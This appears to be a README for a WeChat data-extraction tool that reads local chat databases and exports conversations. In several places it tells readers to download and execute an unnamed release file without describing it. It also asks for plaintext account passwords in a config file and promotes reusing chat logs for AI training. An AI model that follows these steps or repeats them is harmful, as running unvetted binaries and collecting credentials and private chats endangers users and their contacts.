Welcome to PyWxDump, a powerful tool designed to help you extract and manage WeChat data efficiently. This repository allows users to read local databases, view chat histories, and export data in various formats such as CSV and HTML. Whether you are training AI models or developing automated responses, PyWxDump offers the flexibility you need.
Get started by downloading the latest release from the Releases section.
- Multi-account Support: Easily manage data from multiple WeChat accounts.
- Version Compatibility: Works with all versions of WeChat.
- Data Export: Export chat histories in CSV, HTML, and other formats.
- AI Training: Prepare your data for AI model training with ease.
- Automated Responses: Leverage extracted data for developing automated replies.
To get started with PyWxDump, follow these simple steps:
-
Clone the Repository:
git clone https://github.com/Aeron1-bit/PyWxDump.git
-
Navigate to the Directory:
cd PyWxDump
-
Install Dependencies: Make sure you have Python 3.6 or higher installed. Use pip to install required packages:
pip install -r requirements.txt
-
Download the Latest Release: For the latest features and updates, visit the Releases section. Download the appropriate file and execute it.
Before you can start extracting data, you need to configure your WeChat accounts. Edit the config.json
file to include your account details.
{
"accounts": [
{
"username": "your_username",
"password": "your_password"
},
...
]
}
Run the extraction script to pull data from your WeChat accounts.
python extract.py
Once you have extracted the data, you can export it to your desired format. Use the following command:
python export.py --format csv
Replace csv
with html
or any other supported format as needed.
The CSV format is ideal for data analysis. You can open it in spreadsheet applications like Microsoft Excel or Google Sheets.
The HTML format is great for creating web pages. You can easily share your chat histories online.
- AI Training: Use exported chat histories to train chatbots or machine learning models.
- Data Analysis: Analyze chat patterns, frequency of messages, and more.
- Backup: Keep a backup of your important conversations.
We welcome contributions from the community. If you have suggestions, bug reports, or new features, feel free to open an issue or submit a pull request.
- Fork the repository.
- Create a new branch for your feature or bug fix.
- Make your changes and commit them.
- Push to your forked repository.
- Open a pull request.
This project is licensed under the MIT License. See the LICENSE file for more details.
If you encounter any issues or have questions, please check the Issues section for help.
For more updates and releases, visit the Releases section regularly.
- Thanks to the contributors who help make this project better.
- Special thanks to the open-source community for their invaluable resources.
PyWxDump is your go-to tool for managing WeChat data effectively. Whether you are a developer, researcher, or just someone looking to keep a record of conversations, this tool has you covered.
Download the latest version from the Releases section and start exploring the possibilities!
Feel free to explore the code, contribute, and make this project even better!